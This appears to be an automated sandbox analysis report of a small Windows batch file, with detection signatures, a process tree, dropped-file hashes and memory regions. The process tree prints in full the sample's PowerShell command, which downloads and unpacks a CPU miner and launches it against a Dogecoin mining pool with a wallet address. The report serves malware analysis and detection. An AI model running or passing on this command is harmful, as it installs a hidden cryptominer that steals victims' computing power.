Analysis

  • max time kernel
    1797s
  • max time network
    1787s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-de
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-delocale:de-deos:windows10-2004-x64systemwindows
  • submitted
    04/02/2024, 17:51

General

  • Target

    73u3Ito.bat

  • Size

    499B

  • MD5

    fe74bff27516829a88cfbc6f6e99646f

  • SHA1

    0c15d859211c79910b277d07e729bec7197a60cd

  • SHA256

    b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb

  • SHA512

    a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1056
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3648
        • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4828

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uepj2drf.as5.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

          Filesize

          303KB

          MD5

          9bd2051f4c2baf44d569cef866785c15

          SHA1

          2178efede176a234d02937948d3f8942cdb56008

          SHA256

          0c53c7a7e144efd931a31d4be0b3a99bad81a25a8068168d1b3148b7df3cc748

          SHA512

          17eada9d0d581f9ce6f81ff30583a134a106602b29f62d0f943a014a7e69c7694ac3cf544d7bfa54fdc5c0f7e2db64fec66fc5cc556e40b758c54b9b5a863172

        • C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

          Filesize

          291KB

          MD5

          d4d986030b76d63ea803cf7a1fa6232d

          SHA1

          ae49381a523125e118ba3c240d96baac0ea0700c

          SHA256

          1c2d47d1e03777ea2dc4d0b54c697fd745b5f8040dad050cdf8018a2e7c212e7

          SHA512

          d1505269c9b09e757674745b02bfb8185b21a9b45efa983ed88deef7655a744ac6efa738646eeb0364d3cac8c2276a3b46746fae5217e7f788156c094c2ec8a3

        • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

          Filesize

          344KB

          MD5

          f799203afd839ce857d7970ae33d9b47

          SHA1

          c869eb979aa9a5072b24a650f3f3bb7b8f096f63

          SHA256

          1dc04d177fd7892183fbe3da0b4b5e2052938429a5d589ee48c7c6fad2f8b4a6

          SHA512

          5847c079ca3327a530498f5f9953613f187febf027971511af8152b2f40a5472837a0c7dd6f22172aa15cdcba3a169f6c0c3ca778643cca376e4884f0c53b220

        • C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

          Filesize

          301KB

          MD5

          7edfe7413412ff105cabaf29e315917f

          SHA1

          57701d8886059a138cc194f56ceec41476c0974a

          SHA256

          6f85b7aa9193908d3484da0657b4a71f24c38732019fcc61baf047c08c4271e6

          SHA512

          1502c9c5c86caeecacd79a6f1745829f1ec2f8ffdc4264b8a3510cdfe0a39b37b281f5dd7b017b000638c4f772307847bcc5e4fc6b9a3c234c6ae20a90479546

        • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

          Filesize

          237KB

          MD5

          95331273712294f4ec7efa72fa0ad716

          SHA1

          7a2bb6332436034756dda7505eb0cf67b553fa13

          SHA256

          403fae5329468486c25c764cfe80ebc478fab2313f43f622f2bcf703a61d2886

          SHA512

          9b25c4de50535e37f1010887bf735a826e5deabc0d1a10c25a6f4ff95c7a77cd307a3160b37c593ab2f6ffc0dd0db0f641d0eff47676becdef1654a04e73fd12

        • C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

          Filesize

          327KB

          MD5

          5048bc5a21291f0e7ca010a9a5b3bf30

          SHA1

          7e1636bbb518c185d0671242353e40be0a5f4d70

          SHA256

          625578fd6d31493f7ef346987bae698c2f8b4aaa1ad8f8b84f65e0fc8da94126

          SHA512

          e83c4207b3f7273f2f16e6438ed3b89b31e99c13bd36c50ca3ac5d9f649f77e51a003f56a02b910f1bc7fc7222a57d02149de6a7e96e3d0d28db7c35bee38150

        • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

          Filesize

          379KB

          MD5

          6b1a28378a4d9ed2fd7c413a7cd41a41

          SHA1

          58b30008fe72424255927e9c1edc54596f43009c

          SHA256

          670df17c1866f96d58d9ba14a0abdef29b440d71e5afc617104f348c56e3ad95

          SHA512

          ed1b0c1841a94b4657d4b65d73b3c7d97504325880eb42bfe3784246eadd42c56838e279321afd0d9d27899057db89f6ff71ae480a44364120885e67a0d2a971

        • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

          Filesize

          143KB

          MD5

          3f47da019d94417e3a434233953c96d4

          SHA1

          4bee8ee0a17eadb692f97d5c2daee5ae00bd4930

          SHA256

          6e6dd656b72f1c42440e933860b9118746213d88c23becef8e7c870dba672914

          SHA512

          b5db763c3ca6c3481f567469685bd4bd19231d582f83809df7c728896861a4c603bbcfadec30254e0e32fd30cfe618fc90e7618a93f79e3fb9838ae578270b78

        • C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

          Filesize

          192KB

          MD5

          81d11ed4f0bc71672182d9c0eb412dcf

          SHA1

          c6d39810e4635614edbcb21d61a236116422c54b

          SHA256

          ae2d86f92c2642daf9c3ed98c100df5940ffcee2c9218366946ec5b4b15fd6b4

          SHA512

          d3aba8eed403668f67a302761cb2713cf4ddeeb927fefb5b590e0a9c5f3f7e93e571ca4ba66602dd526a68106aa6d3e32b93917efeb21dd7fe670e0b7e58f0b3

        • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

          Filesize

          239KB

          MD5

          1ea1fdd373e5c43b04d40efbd3fb09b1

          SHA1

          f206329e1f93f33a54df63d4a45a3af30bc81259

          SHA256

          44123b877e97c3ce36717b282e83ca6c3bf6326b590825b4db7da2036a72cd98

          SHA512

          4db2ffd0b5d86419d56167d7c9ce363aa222e59455f143d03f6356b39d435f2f594572c30b6a6d3f168d69e2a0ea550c5fd9fe8fa822487420cdc62012f72dc7

        • C:\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

          Filesize

          297KB

          MD5

          383cab0c4335bdab54ea9645ec70c5bc

          SHA1

          b262c7d9384e640275182e369b462e3531f5560f

          SHA256

          d4cf6962df1820819358240b83c044c587b7324f1f57902aba165a3fc1752feb

          SHA512

          2ddec518491d5e777a49e9ee9acc1c0a79e5399256f4c75f315614bd5e5a7422299453499b0fc89d864a08ee4ee1af01eba55d15a9676e2c6ea0572868d671ee

        • memory/1056-19-0x000002C9AE010000-0x000002C9AE020000-memory.dmp

          Filesize

          64KB

        • memory/1056-59-0x00007FFE1BA10000-0x00007FFE1C4D1000-memory.dmp

          Filesize

          10.8MB

        • memory/1056-21-0x000002C9AE000000-0x000002C9AE00A000-memory.dmp

          Filesize

          40KB

        • memory/1056-20-0x000002C9AE100000-0x000002C9AE112000-memory.dmp

          Filesize

          72KB

        • memory/1056-0-0x000002C9AE130000-0x000002C9AE1B6000-memory.dmp

          Filesize

          536KB

        • memory/1056-17-0x00007FFE1BA10000-0x00007FFE1C4D1000-memory.dmp

          Filesize

          10.8MB

        • memory/1056-16-0x000002C9AE0E0000-0x000002C9AE0F6000-memory.dmp

          Filesize

          88KB

        • memory/1056-10-0x00007FFE1BA10000-0x00007FFE1C4D1000-memory.dmp

          Filesize

          10.8MB

        • memory/1056-15-0x000002C9AEC80000-0x000002C9AED84000-memory.dmp

          Filesize

          1.0MB

        • memory/1056-13-0x000002C995E80000-0x000002C995E90000-memory.dmp

          Filesize

          64KB

        • memory/1056-14-0x000002C9AE010000-0x000002C9AE020000-memory.dmp

          Filesize

          64KB

        • memory/1056-12-0x000002C9AE010000-0x000002C9AE020000-memory.dmp

          Filesize

          64KB

        • memory/1056-11-0x000002C9ADFD0000-0x000002C9ADFF2000-memory.dmp

          Filesize

          136KB

        • memory/4828-72-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4828-75-0x0000000052D10000-0x0000000052DA8000-memory.dmp

          Filesize

          608KB

        • memory/4828-74-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/4828-76-0x0000000000F40000-0x00000000027F5000-memory.dmp

          Filesize

          24.7MB

        • memory/4828-73-0x0000000070800000-0x00000000708BC000-memory.dmp

          Filesize

          752KB

        • memory/4828-82-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4828-87-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4828-92-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4828-97-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4828-102-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4828-107-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4828-112-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4828-117-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4828-122-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/4828-132-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB